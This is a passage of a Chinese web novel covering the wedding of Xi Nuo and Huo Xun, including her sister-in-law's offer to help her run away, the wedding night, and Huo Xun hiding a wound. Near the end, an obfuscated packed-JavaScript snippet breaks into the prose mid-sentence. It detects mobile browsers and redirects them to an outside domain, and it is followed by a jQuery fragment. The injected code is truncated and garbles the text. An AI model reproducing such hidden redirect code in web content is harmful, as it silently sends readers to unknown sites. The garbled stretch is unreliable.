因为此刻冷静下来,她突然想到,自己这些时候,实在是太得意忘形了。 她和霍恂见面的这几次,虽然次数不多,但是每一次他都对她不错,虽然偶尔有那么几句不大好听的话,但总体来说,他都是对她主动而积极的,从没有一刻,让她觉得这一桩婚事会是一件让她产生巨大排斥的坏事。 所以她想当然地觉得,霍恂对待她,会像当初冯晚好时对待她的情形一样,仿佛真的将她放在心上一样,处处照顾着她、想着她。 就如这样的上元佳节,他就该来主动邀请她走到街上,主动和她一起度过这样特别的日子,他就该说上一堆甜言蜜语,像世间所有有情人互表心意那样,用温柔而宽和的目光看着她。 今天她别扭了一天,是因为她没有想明白,此刻终于安静下来,她也赌气够了,难过够了,该想到这个简单而浅显的道理了。 她不是为了什么爱情嫁给霍恂的,她是为了息家嫁给霍恂的。她需要他对待她足够尊重、足够好,但这可以建立在利益或者权利的基础上,或者是别的什么,但绝不是建立在爱情的基础上。 这个道理在她当初点头去和霍恂见面的时候,她就已经想明白的,但这些时候,一切进展得太过顺利,她都要忘记了。 其实今日的事发生了也好,如此早点给她敲响一个警钟,她也就能早点清醒,不至于深入歧途,悔之晚矣。 她默默翻了个身,闭上眼睛深深睡去。 21. 逃婚 婚礼的那一日,息偌起了一个大早。 息夫人和各位女性长辈清早就来看过息偌,她拜过祖宗和长辈后,就一直在自己房中梳妆。长辈们瞧着她的模样,又看婚服冠钗之物全都准备妥当,叮嘱她了好些话,这才离开此处,往前去招待宾客。 息偌由侍女和嬷嬷服侍着,慢慢妆扮齐整。 而过不多时,房门却被敲响。小盼走到门口去看了一眼,惊喜不已地将来人引了进来,唤息偌道:“娘子快看是谁来了!” 息偌那时正在盘发,只抬眼从镜子里看了一眼,这么一看连头发也顾不得,立刻站起来扑过来,喜道:“嫂嫂!你怎么来了!” 李常希往日都偏好素淡,今日也明显是特地打扮过,换了身很是明丽的衣裳,发饰也华贵了许多。 她拉着息偌站好,笑道:“今天是你的好日子,家中整整齐齐地送嫁,我怎好不来?总不能叫别人看了你的笑话。” 她牵着息偌重新回到镜子前,让侍女继续给她盘发上妆。息偌乖乖坐着不动了,但眼睛还往她身上瞥,道:“阿娘今日要在前面招待宾客的,我这儿也没个熟悉的来陪我。嫂嫂来了就好,我就有人说话了。” 李常希就坐在她一旁,笑道:“你这样天不怕地不怕的性子,也会怕成婚?” 息偌撇撇嘴道:“宫里来递了消息,说清都侯早上去宫里拜了陛下,等晚间婚礼时,陛下与贵妃要一同观礼。我能不紧张吗?” 李常希于是宽慰她道:“今日是你的好日子,谁敢为难你呢?更何况,陛下心中关爱器重清都侯,贵妃又是好脾性,即便你又什么小错,也不碍事的。” 息偌想了想,凑近了些,但因为自己的头发被侍女拉着,不能动太多,于是又唤李常希靠近些。 李常希向她靠近了,听见她纠结而小声地问道:“我若是犯了什么错,会不会被当成什么大不敬之罪,最后连累整个息家都被关进去啊?” 宫中原本就是要针对息家的,她可别趁此成了活靶子。 李常希听见这话便笑了,想她到底还是个孩子,政事哪有处理得这般草率的? 她安慰道:“别多想。等那时候,清都侯站在你身边,他做什么你做什么,即便不对也没什么,他自然会提醒你,再不济,将来被怪罪了,他也会替你辩解的。” 息偌嗤了一声,又端端正正地坐了回去,道:“是吗?他还会做这些?” 李常希奇道:“怎么?你前回见我,还说他细心周全,对你不错,这到了成婚的日子,怎么又觉得他不好了?” 息偌苦着脸道:“这也难免呀。我才见过他几次,万一他是装的呢?万一他眼下是好的,将来又不好了呢?万一我和他过了一辈子,到最后莫说是有夫妻感情,甚至连相敬如宾都做不到呢?” 这样未知的事,不到最后一刻,都总是不能确定的呀? 她看着李常希,有些不好意思道:“嫂嫂,虽然我之前看着信心满满的,但多少还是有那么一点不安的。” 可李常希却没有笑话她。她很认真地望着她半晌,突然问道:“你想走吗?” 息偌一下没反应过来,愣愣问道:“什么意思?” 李常希道:“现在婚礼还没有开始,你若忧心这桩婚事,还有机会能走。” 这话一出,整个内室都安静了,莫说是息偌本人,连她身后服侍的侍女们都震惊地抬头看向李常希。 息偌瞬间就有些慌乱了,她回头看了一眼紧闭的房门,又转回来看着李常希道:“嫂嫂说什么呢?都到今天了,还能有走的机会吗?莫再说笑打趣我了。” 李常希面色却很平静,一点也没有说笑打趣的样子。 她道:“眼下息家的长辈都在前院待客,男方一行还未到此处,宫中来人也要等到晚上。你若想走,我现在就可以神不知鬼不觉地将你带出去,保证谁也发现不了。” 息偌心里砰砰直跳,她意识到李常希根本没在开玩笑,微惧道:“这怎么会发现不了……” 李常希道:“你走了,自然有其他人穿着婚服按时走出去。到时候,谁穿着这身衣裳,谁就是息偌。反正也拢着盖头,谁能发现行礼的是谁?” 息偌道:“那也总有事发的时候!” 李常希挑挑眉,居然笑了出来,道:“等到了晚上,盖头揭开,你早不知走了多远了。息家害怕欺君之罪,恐惹杀身之祸,一定会仔细详查,可知情的就只有你身边这些侍女。她们若是忠心,不说你的去处,那自然无事,若她们口快,我还留在这里,自然可以在问话前替你料理了她们。” 这话说完,站在息偌身后梳头的那个侍女狠狠打了个激灵,手里的梳子都落到了地上。她慌忙捡了梳子,伏在地上瑟瑟发抖。 息偌立刻将她护在身后,道:“这都是和我一起长大的,嫂嫂莫要吓唬她们了!” 李常希都没看那侍女一眼,淡淡道:“这是最坏的境况,你若走了,她们根本不会知道你去了哪里,最多会说你是受我蛊惑,息家也就只能来问我,但我也不会知道你的去处的。息家一时交不出人,为了避罪,要么就是与你断绝关系,到时候死生由你,得委屈你躲藏一阵子;要么,他们就只能去找清都侯,请他帮忙,干脆认下送去的那个新娘,大不了做个妾室。” 息偌被李常希这一长串话震得浑身僵硬,麻木地顺着她的话道:“霍恂才不会同意……” 李常希用一种笃定的神色笑道:“他会的。他若是因为爱慕才同意成婚,便不会希望你犯下死罪,一定会将此事认下,替你脱了死罪,日后再慢慢寻找。他若没有爱慕,只是纯粹的利益结合,那就更加简单,息家根深叶茂,为了免除自己的大罪,为了日后在朝上的地位,无论多少代价,都会替你去付的。” 她的声音简直带着一种致死的诱惑力,问道:“怎么会事发呢?只看你想不想而已了。” 息偌愣怔怔地看着李常希,脑子里费力地消化完她这一大串话。 她一点也不怀疑李常希的认真,一点也不怀疑她真的可以办到此事。因为她面前的这位李三娘子,早在她这个年纪里,就曾将整个 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息偌心里还是没有定下来,但是顺着这话就把身后的侍女拉起来,故作抱怨道:“嫂嫂吓我做什么!真唬到我了!” 李常希但笑不语。 接下来就是一阵说笑和忙碌。李常希特地提醒了她,让她上唇妆之前先少用了些饭食,又去叮嘱小盼,让她身上给息偌带两块点心,若是饿了就垫一些。 婚礼当日总是忙碌,等息偌这边收拾好了,时间也要到了。息偌端坐在彼处,一身的婚服和冠钗,都是提前制好改过多次的,穿在身上瞧着华贵而精致,比不得从前清丽的年轻姑娘模样,反显出一种少见的艳丽娇妩来。 李常希站在她身前,垂眼笑着看她,也不知是在想什么,却也没说话。 息夫人眼见着时间到了,回到房间来,一瞧着息偌这样,眼睛一酸就要落泪,被李常希和身边的妈妈哄了一阵才停住。 可她哭了,就带着息偌也哭。母女两个含泪说了好些话,听见外头催促,息夫人才恋恋不舍地看了息偌许久,亲手给她将盖头搭好。 息偌站起身,左边拉着母亲的手,右边拉着嫂嫂的手,垂着眼看见盖头下那么一点点狭窄的缝隙,直到跨出门槛。 然后李常希拍了拍她的手背,松开了她。她的裙角在她盖头下的视线里一转,就迅速退到了她看不到的地方。 息偌短暂地慌了一下神。 她其实一直记得刚才的话,只是这么多人在,她始终没能问出口——嫂嫂,你为什么会有这样完备逃婚的计划呢? 那绝不是一句玩笑而已。 而下一刻,有人接替了李常希,轻轻托住了息偌那只空了的手。 息停的声音在她旁边低低地传来,道:“四娘,我来送你出去。” 息偌在这忽然之间,仿佛就隐约明白了某些事情。 她听到长兄的声音,感觉到他因持剑握笔而在掌心留下的薄茧,这都是他为了家族而奋斗过的痕迹。现在,他也要为了家族将自己送出去了。 她向前一步,迈上一片未知的婚途。 22. 婚礼 婚礼的仪式相当繁复。 霍恂的身份本就特殊,宫中对他异常重视,而息偌是息家此代第一个出嫁的女儿,又是家主息檀的独女,所以两个人凑到一起,便让这场婚礼变得比寻常更要富贵精细许多。 更莫要说,今上携贵妃出宫出席,这样的恩典更是少见。 息偌被长兄送上花轿,听着锣鼓在外吹拉弹唱,随着轿子的起伏颠簸了好久,才绕完长街来到如今的清都侯府。 下轿之时,天都擦黑。 可饶是如此,因为侯府和门前的这整条长街的灯火太过明亮辉煌,所以依旧可以让息偌清晰地看到地面上喜庆的毡毯纹样。 她自轿中迈出一步,伸出手去向外而出,可是扶住她手的却不是小盼。 那个接住了她掌心的人,托着她伸向侧边的手轻轻一带,就回到了她的面前。息偌整只手微微一僵,下一瞬,她看到了他红艳的袍角与崭新的靴面。 说来奇妙,先前几次相见,霍恂也并非没有扶过她,只是因不熟络,为免尴尬,常常只是让她扶着自己的手腕,或者由他去握她的手腕。 这回突然的掌心相触,也许是因为视线受阻,居然给了息偌一种奇怪而又复杂的感受,虽然没有过这样的经历,却一下就让她知道是他在对面。 围观的已经有人笑起来了——原本这个时候,新郎不必亲自去扶新娘下轿的,但是霍恂下了马便立即去往轿前,生怕新娘跑了似的,如何能让别人看着不觉有趣? 虽然是在冬日里,积寒未褪,可是息偌的脸却开始发烫。 她几乎是下意识的,有些想要将手收回来,只是指尖才微微一蜷,他的手指便将她拢了拢,并不用力,却阻止了她想要后退的动作。 她的手就这么停留在了他掌中。 他什么也没说,也什么多余的动作都没有,就这么握住了她,自然地牵着她一步一步向前走去。 她脚下的每一步都踩在厚实的毡毯上,踩在美丽而繁茂的花样上,仿佛这一路都绚烂到让人目眩神迷。 最后,他们停在了正厅之中。 今上与李贵妃卡着吉时,在一对新人来到侯府前不久端坐在了正厅之上,由那两位替霍恂行六礼提亲的老将与皇亲陪同,看着他们走进来。 有了帝妃在,拜堂的仪式自然就要加上一条,礼官们早都得了令,此刻按照预备好的流程逐项唱词。 婚礼之前,息偌已经被反复提点过无数遍成婚的流程,可是这是她头一回如此近距离地面对帝妃二人,又做了这正厅中的主角,所以难免还是紧张。 她凝神去听礼官唱词,又嫌外头乐声不停,生怕自己漏听错听了什么,紧张得不行。 可是霍恂那厢却始终没松手。 要回头去跪拜天地,他便拉着她向外微微一带,换只手立刻再次握住了她,微微使力带着她一同下拜。 要转过身来拜今上,他便扶着她起身,再拉着她转回来。 最后要对拜了,那老皇亲方笑了一笑,打趣般提醒道:“新郎官这下可松手了罢?” 哄堂大笑之间,霍恂松开了手,合手先对着息偌躬下身去。他对拢的袖口落在她视线之内,与她下拜的动作一齐触到一起去。 新人礼成。 他们本该回到新房去,但又不好让今上空留此处,于是在原本的计划中,是让息偌先去房中稍候,留霍恂在前陪伴今上并宴客,待一切结束,再回去完礼。 而此刻,今上却笑着与李贵妃摆了摆手,道:“贵妃去陪一陪罢,替朕盯着这小子好生将婚成了,朕且在此处与众卿浅饮几杯,贵妃慢来,不必着急。” 这便是要等的意思了。 他既已经放了话,那再推辞也无用。那老将与老皇亲在侧微微劝了两句,便让霍恂应下,在新人谢过今上之后,又往后面新房而去。 这一路,霍恂再牵起息偌的手,她也不觉紧张尴尬了。 她因面圣而一直绷着思绪,此刻终于踏踏实实地坐到床榻上时,才忽然感觉到自己折腾了一天,腰酸背痛,几乎都要坐不直了。 只是她此刻还歇不成,李贵妃就坐在他们对面,婚房中仍有一群女眷围着,说着吉祥话让霍恂来揭她盖头。 息偌这一张盖头,用料上等,是宫里的御赐,上头绣着的纹样只是象征性让息偌来了两针,余下都是寻最好的绣娘绣的,制好的成品摆过来,莫说绣样上的珠玉宝石,连边缘缀上的流苏都是缠着珍珠的。 她顶了它一天,此刻脖子酸疼,巴不得霍恂快些。 而霍恂到底也没让她失望,那边的词一唱完,他立刻就将她的盖头挑到了一旁去。 息偌终于感觉到头上减轻了一些聊胜于无的重量。她不动声色地松了口气,微微闭了闭眼,从已经习惯了的昏暗和狭窄里适应了这一室的烛火煌煌。 她眼皮一抬,正好就看到霍恂侧身坐在她的身边。 这是她今天第一次看到霍恂。 他从前衣着虽矜贵,颜色却轻,坐立落在人眼中,清淡得像一幅疏阔山水;而今日喜服加身,灯火辉映,一身红得张扬,反显出三分秾艳来,眉愈浓,目越黑,却一点不见落俗。 她抬眼望向他的时候,他的目光已经停在了她的脸上,眼神有些微怔,却是认真不见散漫的,还残存着三分未散的笑意。 也不知怎么的,他穿成这样,如此近地坐在她的对面,再用这种眼神看她……显得还怪好看的。 息偌在这一眼里都没顾上害羞,定定地把他欣赏了起来。 于是他眼皮眨了眨,立刻就错开脸将身子转过了半边,将手里的喜秤交了出去。 眼里空了,手里空了,他无可避免地注意到其他方面,又将靠近息偌的那边腿收了收,没让自己的膝盖与她继续凑到一处去。 房间内的其他人笑眯眯地看着这对新婚夫妇彼此羞涩的样子,又继续行同牢合卺,这回他们倒是谁也不看谁了,一个朝左一个朝右,怎么也没对到一处去。 女眷们讨了个恩典,在剪了两人的头发结发时,请李贵妃缠了红绳。李贵妃也没推辞,眼见着这婚房里的仪典也彻底完了,便起身道:“既然礼毕,本宫也是功成身退。陛下还在前头呢,侯爷安顿过夫人,便过来罢。” 霍恂合手行礼称是,息偌也赶紧起身行礼。李贵妃的目光在他们二人身上扫了一圈,转身便走了出去。 房中人多,霍恂也不好逗留。他们并肩站在一处,他微微顿了顿,侧身对息偌低声道了句“你先休息”,便也随着人流出了房间。 这一下,房间终于彻底清静。 息偌立刻松垮了腰,可是还没弯下去扑在榻上,下一刻房门又被推开,惊得她立刻坐了起来。 走进来的两个侍女关上房门,将手里的托盘放在桌上,与她行礼道:“夫人,侯爷提前与我们吩咐过了,说夫人今日一天辛苦,让我们先侍候夫人卸了冠钗用饭休息,不必非要等到他宴宾结束回来。” 息偌想起他走时的那一句,犹豫道:“陛下还在,如此不好罢?” 侍女道:“这话正是侯爷方才出去时嘱咐我们的。夫人放心罢,侯爷既说了这话,您自然不必担忧的。” 若是平时,也许息偌真就等了。只是今日,因怕她行动不便,午饭也吃得少,更是少用水,等到了这会儿,息偌早就饥肠辘辘。 那一桌好饭好菜放在那里,还蒸着热气,她哪里忍得住? 于是她稍微迟疑了一会儿,还是坐了过去,还将小盼也拉到了一边。

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二人说着闲话,吃饭的速度也没减,待终于饱了,小盼摸了摸肚子,满意地站起身来,将东西拢了拢端起漆盘来,与息偌道:“娘子稍微等等,我将东西送回去,立刻就来。” 那侍女如何说,是他们府上的人如何说。她们已经在此时吃了饭,算是挺没规矩的了,若是一来就颐指气使的,看着也太不像话。 小盼还是知道维护息偌的脸面的。 房门拉开,方才那两个侍女里,果然有一个就守在门口。她看到小盼端着东西出来,连忙伸手来接,道:“姐姐将东西给我罢,岂能让你来送?便是我躲懒,姐姐也不好找地方的。” 这话说得倒也没错。小盼诚恳谢了,又问道:“可否传些热水来?既然冠子都卸了,我为她重新梳洗一下,总不好乱糟糟地迎侯爷。” 那侍女笑道:“侯爷倒不在意这个,姐姐稍待,热水正传呢,等下就来。” 这话落了没多久,方才过来的另一个侍女就走到了近前,道:“夫人用完饭了?正好,我让小侍女将热水备上,辛苦姐姐替夫人梳洗。只怕夫人觉得不惯,若有用得上我们的,我们再进。” 侯府的下人如此细心,小盼心里啧啧,口中都笑应了,回去以后就悄悄告诉了息偌。 内室的净房里直接备好了浴桶,小侍女们预备好就退了出去,那两个侍女一个照旧守在正门前,一个在净室外不远守着。 息偌本就觉得今日头发束得紧,头皮有些乏累,再加上桂花头油上得多,更是不适。既然热水都备好了,她就干脆从头到尾好好洗了一遍。 热水的温度适宜,她靠在浴桶里,觉得疲乏也都卸了不少,于是将头靠在旁边,闭着眼歇劲儿,又和小盼说话。 “我等会儿就出来,你也不用管我,让她们来就行。今晚你别守了,回去好好休息。我离不得你,明日要入宫去给陛下谢恩,我不放心带别人去。” 她也知道小盼累了一天,不至于非要让她一直劳碌。 小盼在旁边道:“还是算了,这是头一晚,你真让我走,我也不放心。横竖就累这几天,过了回门日,娘子好好放我个大假。” 息偌笑着说好,还说要封个大红包给她,谁知这么说着话,被热气一蒸,困劲儿也泛了上来。她扒着桶边,居然就这么无知无觉地睡了过去。 小盼见她睡了,放轻声音,默默帮她擦身收拾。 息偌迷迷糊糊地蜷成一团,也不知道自己睡了多久,只是过了一阵儿,突然听到霍恂的声音遥遥传到耳边。 “她已经睡下了吗?” 23. 说话 息偌其实当真是没睡多久。 小盼听到她闭着眼呼吸匀了,特地放轻了手脚,一共也就往浴桶中多加了一回热水。只是这边府上地龙都烧得热,浴室里也本就温暖,再加上热水蒸着,所以息偌听到这声音醒来的时候,水都还是温的。 但霍恂已经将前头的宾客应付完了。 今上其实也是体贴他身弱——他坐在这里,臣子便不敢造次,不会非要逮着霍恂喝酒。待他走了,又自有那二位长辈和傧相在旁边对付,累不到霍恂。 是以霍恂在前头只陪到今上与贵妃起驾回宫,便寻了个理由回来了。 他回来时,一个侍女守在门前,窗纸上透出来的光线昏暗。霍恂听着侍女的小声禀报走进来时,也见内室似乎除了龙凤烛以外熄了别灯,这才有此一问。 那侍女便答道:“还没睡。夫人在里头沐浴呢,尚未出来。” 另一个侍女就守在浴室外头,听到自家侯爷进来,连忙轻轻敲了敲浴室的木门,轻声问道:“夫人,可需要我来加水吗?” 其实不是为了加水,只是问问进程罢了。息偌也听到霍恂的动静了,立刻便扶着桶沿慢而轻地站起来,尽量没弄出水声。 她一边让小盼帮自己擦身,一边应道:“不必了,这就好了。” 小盼已经提前将她平时擦身用的香膏拿了进来,帮她全身擦过了,这才给她拿了件艳红的寝衣穿上。因为室内并不寒冷,于是只加了件薄外衣拢在外头。 霍恂听到亦步亦趋的脚步声回头,看见小盼帮息偌扶着头上裹发的布巾,陪着她直接走到了妆镜前坐下。 那侍女守在浴室门口,见此一边招呼小侍女去清理浴室,一边又立刻将盛了好几张干布巾的漆盘拿来,摆到妆台上供息偌取用。 息偌对着镜子,但却没抬眼从镜子里往后看,只自己舀了香膏,又去抹脸。 霍恂今日难免碰了些酒,他原本是坐在房间中喝解酒汤,眼下见息偌出来了,垂眼想了想,几下将汤喝完,把空碗递给侍女,便向她走了过来。 息偌余光里瞧见他过来,硬是没回头。 她也不知道自己在别扭什么,只是借着现下收拾自己的琐事,干脆坐定了不看他。 霍恂心里微忖,寻了把与她不远不近的高椅坐下了。他那边两个侍女眼力极强,立刻就带着小侍女们退了个干净。 房间内一下安静了下来,息偌这次没法忽视了,便伸手从小盼手里接过布巾,道:“我自己来擦罢,你回去休息。” 小盼看出是两人要说话,犹豫着将布巾交了出去,起身道:“娘子有事唤我。” 息偌微微侧过身,却也只是侧了一点,只摆了一点理他的样子。她低着头给自己擦头发,问道:“侯爷有什么话?” 霍恂又是半晌没出声。息偌抬起眼皮,从镜子里瞥了一眼——他低着头,不知是在想些什么,但完了应付人的差事,他眉眼里似乎是有些疲惫之色,此刻看着很是倦怠。 但他也就想了一下,立刻就抬起眼,正从镜子里和她的目光对上,唬得她立刻就垂下了眼皮。 霍恂问道:“我让豆蔻和茯苓给你送了吃食,你用好了吗?” 息偌心里冒出一种“他就问这个”的荒唐感,但是面上没表现出来,只答道:“好了,多谢你照顾。” 他似乎是被噎了一下,又问道:“点心味道怎么样?若你不喜欢,改日再叫厨子换些做。” 茯苓方才与他说,端出去的那些剩饭里,点心基本没动过。 息偌根本都不记得自己刚才吃了什么,除了跟前的炒鸡蕈、煎豆腐,碗里的瘦肉粥,她都没注意其他还放了些什么,更是不记得有没有点心。 她随口道:“忘了。” 霍恂于是应了一声,又不说话了。 息偌将手里湿了的巾子扔到桌上,又扯了一条新的,问道:“我以为你要说什么,就是问我这个?” 她觉得有些奇怪——今晚他似乎格外犹疑。 霍恂抬起眼,隔着不远不近的距离看着她,忽而开口道:“府中有两个管事,一个姓陈的,是宫里来的,从前伺候过我母亲,但这些年不曾见过。还有一个姓杜,是在清都那边一直跟着我的,到这边来后降了一等,也听陈管事指使。” 息偌觉得他是在暗示自己一些信息,试探道:“我用哪个方便?” 或者说,用哪个安全? 听起来是那位杜管事用起来安全些,毕竟宫里的人肚子肠子都七拐八绕,虽然那位陈管事从前侍奉过华敬大长公主,但毕竟这么多年没用过了,总是要保留些余地。 而霍恂答道:“你看着办。” 息偌气结。 她正要谴责他,霍恂又道:“方才那两个侍女,豆蔻和茯苓,都是我从清都带过来的,她们的家人也在府中办事,你可以放心用。” 这话其实就是他在给她答案了。 息偌突然想到,今上爱护他,但的确也是太爱护他了。他才回来多久啊,全宁都都知道他是今上看重的人了。可他又与今上还剩下几分旧情呢? 荣宠加身,也是众矢之的。 他继承了华敬大长公主的一切,包括这府院和旧仆,可这些都是属于宫里的。今上让他们来侍候霍恂,也可以让他们来监视霍恂。 息偌并不愚钝,立刻想到了自己今后的艰难处境,便问道:“你住的这个院子里头,行动方便吗?” 霍恂扯了扯唇角,道:“宫里有厚恩,不好不用的。” 所以就是不方便。 霍恂又道:“不过我也说过了,这些旧仆伺候我习惯了,我仍旧叫他们在近前侍奉,其他的不往跟前来凑。我从清都带来的那些侍从,都是得用的,你可以随意驱使。” 这话也算是给息偌划分了一个安全区域了。她复又垂下头去,道:“谁敢驱使你的仆从?我自有陪嫁的仆从得用,你还能不让他们进院子不成?” 霍恂看着她,微微顿了顿,又笑了一笑,道:“也成。” 他们夫妻俩,总得有一个,身边彻底都是些能用的人罢? 他脑子里突然冒出这个念头,又反复将夫妻两个字来回想了一番,感觉总是有些奇怪,心头微微犯麻。 他把这归结于是自己的身体因素。 霍恂轻轻咳了一声,道:“陛下今日来观礼,是大恩典,明早我们得去宫中谢恩,不好去得太晚,你早些休息罢。其他事,回来再说也不妨。” 息偌应了一声。 她听到休息,就想到婚前在家时给她教的那些东西。新婚当夜要发生什么事情,她心里还是清楚的,只是真到了这个时候,她多少有些踯躅。 她手里攥着湿了的布巾,落在发尾处揉了又揉,分明的有些纠结。 霍恂看到了,起身往她这边走过来,屈身停在她身后低矮的软垫上。 说来奇怪,他们今日已经以这样极近的距离相处许久了,可是此刻到了夜晚,身边又没有其他人,安安静静地坐在一处,总是让人的感官感受都放大到异常敏锐。 他在前头宴席上还是喝了酒的,味道并不重,喝的也不是烈酒。席上给他的应该是很清淡的梅花酒,此刻他坐在她身后,有一种很轻很淡的甜酒香气,还有些醒酒汤里带的橘皮味道。 是很清甜的气息,她并不讨厌。 霍恂伸手将她手里的帕子抽走撂到一旁,又去抽了另一条干布巾过来。 他的指尖在她发丝上微微一触,息偌立刻仿佛后头长了眼睛一样,感觉到了他的动作。她还以为他要给她擦头发呢,开始犹豫要怎么拒绝。 是开口拒绝呢,还是干脆直接把布巾抢过来呢? 但是她只是这么一犹豫间,霍恂已经换了一个动作。他将干布巾披到她肩头,将她长发从颈后抽出来披在巾子上,手指动作极有分寸,虽然触到了她的衣领,但半分都没碰到她。 他复又站了起来,道:“我惧冷,屋内地龙都开得热,你头发也干得快。再拿巾子揉一揉,就好休息了。” 息偌心中微讶地抬起头,从镜子里看见他转过身去,径自往床榻边走去了。 他还没洗呢! 她绝对、绝对、绝对不能接受自己的丈夫,在外头喝了酒,带着一身酒味,不洗漱不换衣就和她躺在一张床上! 绝对不行! 息偌立刻站了起来,几步往床榻这边走过来,喊他道:“你不许与我……” 她的声音卡在了嗓子里。 霍恂并没有上床,只是站在床榻边上弯下腰去,将手伸到被子下头摸了摸,然后抽出了一条白色的帕子。 他拿着这条帕子转过身,正碰上急匆匆走过来的息偌。 息偌看到那条帕子,看到他似笑非笑的表情,彻底说不出话了。 这个恶棍,还在她面前故意问道:“不许与你做什么?” 他似乎在暗指其他事情,但她才不是说那件事情,她说的是他没洗漱就要上榻睡觉!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600393|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>霍恂看着她的脸颊瞬间就红起来,也没故意用这些事来打趣她,只是自己将喜帕折了几下收进袖子里,朝她走了几步。 息偌立刻就向后退了。 霍恂于是止步,道:“这东西我去处理。你休息罢。” 息偌再一次惊讶了,她哑口无言看着霍恂越过她走出去,然后就将房门闭了个严严实实。 他什么意思? 她是脾气刁蛮了些,但也不至于在新婚夜闹着不愿意与夫君圆房,更何况这夫君还是她自己选的。她今天都穿这么艳的寝衣了,都沐浴过将自己收拾得香喷喷了,虽然不是为了他,但他居然就那么看了她两眼,然后就走了? 走了? 他后来看她的样子,还不如揭开盖头的时候看她那一眼热忱呢。这是什么意思? 息偌想了半天,回过头去不可置信地看着房门,余光里却看到了镜子。她不自觉摸了摸自己的脸颊,想,虽然没化妆,可是这不是也挺好看的吗? 难道霍恂就是那么肤浅的男人,只喜欢女子在外头浓妆艳抹打扮得光鲜亮丽的样子,对于这种清水出芙蓉天然去雕饰的美丽一点也不能欣赏吗? 亏她先前见他出身清都,总觉得他与宁都郎君不同,自有一般出尘自然的飘逸气度。真是她太高看他的心境眼界了! 真是没品! 她气呼呼地回到镜子前,把头发擦干了,又用梳子仔仔细细梳好了,这才回到榻上,将帘帐一把拉上。 自己睡就自己睡,她还清静些! -- 霍恂出了门,正巧看见门外侍奉的茯苓。她对着他轻轻点了点头,霍恂便转身往另一边的书房而去,一路上都没有遇到什么多余的仆从。 他这次回宁都,虽然自己是轻车简从先行回来,但身后跟着的行李并不少,有许多书籍之类也千里迢迢拉了回来。 所以搬到这边府上的时候,因理解他喜好读书,便将寝室旁的一间最大的厢房给他空了出来做寝室。不仅能装下他的那些书,还能隔出一个小里间来,放张床榻供他休息。 里间的窗纱厚,窗帘也厚,这样严密拢起来以后,一点光亮都没透出去。霍恂一走到内间,便看到关大夫和雁行都在等他。 他也没多废话,将外袍利落脱了放到一边,然后坐在了床榻边缘。 他里头一身雪白的里衣,此刻胸前已经有好大一片被血染透的红色,他将衣带抽开,更露出里头数层纱布,此刻早已彻底染透。 他拧着眉指旁边脱下来的衣裳,与雁行道:“去看看那身衣裳有没有血,交给豆蔻,让她处理。” 雁行立刻仔仔细细检查了一遍,而后道:“没血,但是有些腥气,有酒味掩着不明显。我拿去给豆蔻,让她直接洗了。” 霍恂点头,雁行领命而去。 关大夫手下极稳,趁他们说话的工夫,就将霍恂身上的绷带都剪了,然后又去换药重新包扎。 “今天你在外面太久了,伤口裂了。明日进宫记得多推辞,赶紧回来,别瞎折腾。” 霍恂今日在马上的时候伤口就裂了,撑着拜完堂,应付完宾客,又去见了息偌,此时早就有些疼麻了。 他扯着嘴角道:“这可由不得我。陛下乐见我婚成,若新婚时我便与夫人生疏,他看着难免有所忧虑。在宫中想要作戏,那可把握不好时间。” 关大夫吹着胡子瞪他道:“你那位夫人本就看你不顺眼,你今日为了这伤躲着她,她不知内情,只会怨你。你还指望她明日能替你圆谎?能搭理你都不错了。” 霍恂垂着眼睛,想起刚才息偌坐在融融灯火里回头看他的样子,道:“应该不至于……” 她是有些小脾气,可是太爱护家人了。她一定会对陛下表示他们很好,这样才能显示息家与他联姻的稳固。 至于回到家里他们会怎么样…… 那就再说罢。反正这场婚姻是个什么样子,他们心里比谁都清楚。 关大夫斜觑着他的脸色,手下放重了些力气,狠狠将他的纱布勒了一下,打了个结,然后听着他吃痛的闷哼声打发他躺平休息。 他直起身子收拾好药箱,道:“我可提醒你。你眼下还没入朝,就险些送命,将来的危险只会更多。那位息娘子在你后宅之中,离你太近,你最好还是寻个合适的法子安置她,免得腹背受敌。” 腹背受敌,敌?谁?息偌吗? 霍恂闭上眼睛,忍着胸口的一阵痛意,回应道:“知道了。” 24. 入宫 息偌这晚是堵着气睡的,但是因为白日疲累,所以很快就睡沉了。 第二日天不亮,茯苓来请息偌起身,扶她起来的时候还特意道:“昨日小盼姐姐也累了,又坚持要守夜,到后半夜才去歇着。我就没叫她早起过来,我先陪夫人梳妆用膳,她等下就来。” 息偌原本也就是这么想,没有说什么,先让茯苓服侍自己洗漱梳妆了。待她发绾了一半的时候,小盼快步进来唤了她一声。 其实茯苓梳头的手是很巧的,这个发髻虽然才做了一半,但已经是息偌喜欢的样子了。只是息偌迁怒霍恂,又不打算一过来就冷落自己的人,便让茯苓先退,由小盼来接手。 但是茯苓服侍她也没有疏漏,息偌也不想如此苛待她,于是从镜子里看向她,问道:“侯爷那边起了吗?” 茯苓答道:“雁行一直陪着呢,不会晚的,夫人放心。” 于是息偌想了想,还是对她道:“你去问一问,若他好了,要不要过来一起吃饭,之后去宫里也顺道。” 她只是为了一起入宫方便,可一点也没其他想法。 茯苓笑了笑,行礼称是,退了出去。 息偌头回梳妇人发髻,一时还有些不大适应,对着镜子看了自己好一会儿,才起身去屏风后换衣裳。等再次走出来要去用饭时,霍恂已经坐到桌边了。 他今天难得穿得鲜亮了些,发冠也换了种样式,此刻在微暗的天光和煌煌的灯火里坐着,看着倒是一番与往日都不太相同的模样。 息偌看了两眼,走过去坐到了一旁。 饭桌上的餐点都是息偌喜欢的样式,饶是她早上并不习惯多食,都因此而多吃了不少。 霍恂饭间倒是没话,只是很照顾她,与上次一起在城郊别院里吃饭一样,中间一直关注着她的动作,将她更偏爱的那几样往她面前放了放。 息偌心里又是觉得一阵别扭——今日的他,倒有些像往日的他了,也不知昨晚上他心里都在想些什么,看着跟换了个人一样。 